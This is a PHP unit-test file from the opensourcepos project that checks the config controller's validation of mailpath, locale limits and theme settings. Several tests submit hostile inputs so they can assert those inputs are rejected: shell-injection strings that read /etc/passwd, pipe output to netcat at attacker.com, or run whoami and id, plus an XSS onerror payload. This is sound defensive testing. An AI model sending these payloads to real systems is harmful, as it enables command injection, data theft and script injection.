mirror of
https://github.com/opensourcepos/opensourcepos.git
synced 2026-09-13 05:47:23 -04:00
* fix(tests): resolve all phpunit failures (#4626) Bring the phpunit suite from 153 failures to 0 (281 tests passing): - Employee: decouple grants block from save_value success; restructure save_employee new-employee + disallowed-grants early return - Sale: unify sales_payments_temp schema (add sale_cash_refund, reference_code) so both creators produce an identical superset table - Employees controller: provide placeholder password/hash in testing env so new-employee insert succeeds and grant logic is testable - TestDatabaseBootstrapSeeder: reset shared connection table-name cache after bootstrap reset to avoid stale listTables()/tableExists() results - Config: fix postSaveLocale validation rule syntax - Test data: use unique employee usernames to avoid UNIQUE constraint collisions latching strict-mode transStatus=false on the shared conn - Various test-file and language-string corrections * test: consolidate employee fixtures in shared trait Route test employee creation through a single EmployeeFixtureTrait that delegates to Employee::save_employee(), so fixtures exercise the same production code path instead of raw DB inserts. Removes six near-duplicate helpers across EmployeeTest, SalesControllerTest, and EmployeesControllerTest while preserving each test's specific grant set. Closes a piece of the fixture-scattering flagged in #4626. Closes #4626 * test: add global DROP/CREATE grant and commit theme fixtures * fix(ci): remove redundant symlink step, set working encryption key * fix(ci): run phpunit with --no-coverage to avoid no-driver warning * fix: address code review findings - Config: restore strict locale validation (min required|integer|>0) and fix max cross-field check with a new gte_field rule (CI4's greater_than_equal_to[field] does not resolve the field value) - Tests: assert rejection for non-numeric/zero/negative/min>max limits - .env.example: remove shared hard-coded encryption.key (auto-generates); document Docker env-var usage - phpunit.yml: scope CREATE/DROP grant to ospos_test.* and provision a per-run encryption key as an env var * feat: support ENCRYPTION_KEY env var for encryption key Read ENCRYPTION_KEY as a fallback for the encryption key when the config value is empty. This is a supported, reliable path for Docker / container deploys and CI, avoiding reliance on the raw dotted encryption.key env var. * fix: align Summary_report temp tables with Sale temp table schema Summary_report created sales_items_taxes_temp and sales_payments_temp with fewer columns than the canonical create_temp_table() in Sale.php. A later reader expecting those columns hit a schema-mismatch SQL error on the shared temp tables. Add internal_tax/sales_tax (sales_items_taxes_temp) and reference_code (sales_payments_temp) so all creators emit the identical column set.
428 lines
14 KiB
PHP
428 lines
14 KiB
PHP
<?php
|
|
|
|
namespace Tests\Controllers;
|
|
|
|
use CodeIgniter\Test\CIUnitTestCase;
|
|
use CodeIgniter\Test\DatabaseTestTrait;
|
|
use CodeIgniter\Test\FeatureTestTrait;
|
|
|
|
class ConfigTest extends CIUnitTestCase
|
|
{
|
|
use DatabaseTestTrait;
|
|
use FeatureTestTrait;
|
|
|
|
protected $migrate = true;
|
|
protected $migrateOnce = true;
|
|
protected $refresh = false;
|
|
protected $namespace = null;
|
|
|
|
protected function setUp(): void
|
|
{
|
|
parent::setUp();
|
|
}
|
|
|
|
protected function resetSession(): void
|
|
{
|
|
$this->withSession(['person_id' => 1, 'menu_group' => 'office']);
|
|
}
|
|
|
|
// ========== Valid Mailpath Tests ==========
|
|
|
|
public function testValidMailpath_AcceptsStandardPath(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testValidMailpath_AcceptsPathWithDots(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/local/bin/sendmail.local'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testValidMailpath_AcceptsEmptyStringForNonSendmailProtocol(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'mail',
|
|
'mailpath' => ''
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testSendmailProtocol_RequiresMailpath(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => ''
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
|
}
|
|
|
|
public function testNonSendmailProtocol_RejectsMaliciousMailpath(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'smtp',
|
|
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
|
}
|
|
|
|
// ========== Command Injection Prevention Tests ==========
|
|
|
|
public function testMailpath_RejectsCommandInjection_Semicolon(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail; cat /etc/passwd'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('invalid', strtolower($result['message']));
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_Pipe(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail | nc attacker.com 4444'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_And(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail && whoami'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_Backtick(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/`whoami`'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_Subshell(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail$(id)'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_SpaceInPath(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/sendmail -t -i'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_Newline(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => "/usr/sbin/sendmail\n/bin/bash"
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testMailpath_RejectsCommandInjection_DollarSign(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveEmail', [
|
|
'protocol' => 'sendmail',
|
|
'mailpath' => '/usr/sbin/$SENDMAIL'
|
|
]);
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
// ========== postSaveLocale: payment_reference_code_min / max ==========
|
|
|
|
private function baseLocalePayload(array $overrides = []): array
|
|
{
|
|
return array_merge([
|
|
'language' => 'en:English',
|
|
'currency_symbol' => '$',
|
|
'currency_code' => 'USD',
|
|
'timezone' => 'UTC',
|
|
'dateformat' => 'Y-m-d',
|
|
'timeformat' => 'H:i',
|
|
'number_locale' => 'en_US',
|
|
'currency_decimals' => '2',
|
|
'tax_decimals' => '2',
|
|
'quantity_decimals' => '2',
|
|
'cash_decimals' => '2',
|
|
'country_codes' => 'US',
|
|
'payment_options_order' => '',
|
|
'cash_rounding_code' => '',
|
|
'financial_year' => '1',
|
|
], $overrides);
|
|
}
|
|
|
|
public function testSaveLocale_AcceptsValidReferenceCodeMinMax(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
|
|
'payment_reference_code_min' => '3',
|
|
'payment_reference_code_max' => '20',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testSaveLocale_AcceptsMinEqualToMax(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
|
|
'payment_reference_code_min' => '10',
|
|
'payment_reference_code_max' => '10',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testSaveLocale_RejectsNonNumericReferenceCodeLimits(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
// Non-numeric values fail integer validation, so the controller returns success===false.
|
|
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
|
|
'payment_reference_code_min' => 'abc',
|
|
'payment_reference_code_max' => 'xyz',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testSaveLocale_RejectsZeroReferenceCodeMin(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
|
|
'payment_reference_code_min' => '0',
|
|
'payment_reference_code_max' => '20',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testSaveLocale_RejectsNegativeReferenceCodeMin(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
|
|
'payment_reference_code_min' => '-1',
|
|
'payment_reference_code_max' => '20',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
public function testSaveLocale_RejectsMaxLessThanMin(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveLocale', $this->baseLocalePayload([
|
|
'payment_reference_code_min' => '10',
|
|
'payment_reference_code_max' => '5',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
}
|
|
|
|
// ========== postSaveGeneral: theme validation ==========
|
|
|
|
private function baseGeneralPayload(array $overrides = []): array
|
|
{
|
|
return array_merge([
|
|
'theme' => 'flatly',
|
|
'login_form' => 'floating_labels',
|
|
'default_sales_discount_type' => '',
|
|
'default_sales_discount' => '0.00',
|
|
'default_receivings_discount_type' => '',
|
|
'default_receivings_discount' => '0.00',
|
|
'enforce_privacy' => '',
|
|
'receiving_calculate_average_price' => '',
|
|
'lines_per_page' => '20',
|
|
'notify_horizontal_position' => 'bottom',
|
|
'notify_vertical_position' => 'right',
|
|
'image_max_width' => '1000',
|
|
'image_max_height' => '1000',
|
|
'image_max_size' => '5120',
|
|
'image_allowed_types' => ['jpg', 'jpeg', 'gif', 'png'],
|
|
'gcaptcha_enable' => '',
|
|
'gcaptcha_secret_key' => '',
|
|
'gcaptcha_site_key' => '',
|
|
'suggestions_first_column' => 'name',
|
|
'suggestions_second_column' => '',
|
|
'suggestions_third_column' => '',
|
|
'giftcard_number' => '',
|
|
'derive_sale_quantity' => '',
|
|
'multi_pack_enabled' => '',
|
|
'include_hsn' => '',
|
|
'category_dropdown' => '',
|
|
'show_office_group' => '',
|
|
], $overrides);
|
|
}
|
|
|
|
public function testSaveGeneral_AcceptsValidTheme(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveGeneral', $this->baseGeneralPayload([
|
|
'theme' => 'darkly',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testSaveGeneral_AcceptsEmptyTheme(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveGeneral', $this->baseGeneralPayload([
|
|
'theme' => '',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertTrue($result['success']);
|
|
}
|
|
|
|
public function testSaveGeneral_RejectsUnknownTheme(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveGeneral', $this->baseGeneralPayload([
|
|
'theme' => 'nonexistent',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('theme', strtolower($result['message']));
|
|
}
|
|
|
|
public function testSaveGeneral_RejectsXssPayloadInTheme(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveGeneral', $this->baseGeneralPayload([
|
|
'theme' => 'x" onerror="alert(document.domain)" x="',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('theme', strtolower($result['message']));
|
|
}
|
|
|
|
public function testSaveGeneral_RejectsNonThemeDirectory(): void
|
|
{
|
|
$this->resetSession();
|
|
|
|
$response = $this->post('/config/saveGeneral', $this->baseGeneralPayload([
|
|
'theme' => 'fonts',
|
|
]));
|
|
|
|
$response->assertStatus(200);
|
|
$result = json_decode($response->getJSON(), true);
|
|
$this->assertFalse($result['success']);
|
|
$this->assertStringContainsString('theme', strtolower($result['message']));
|
|
}
|
|
} |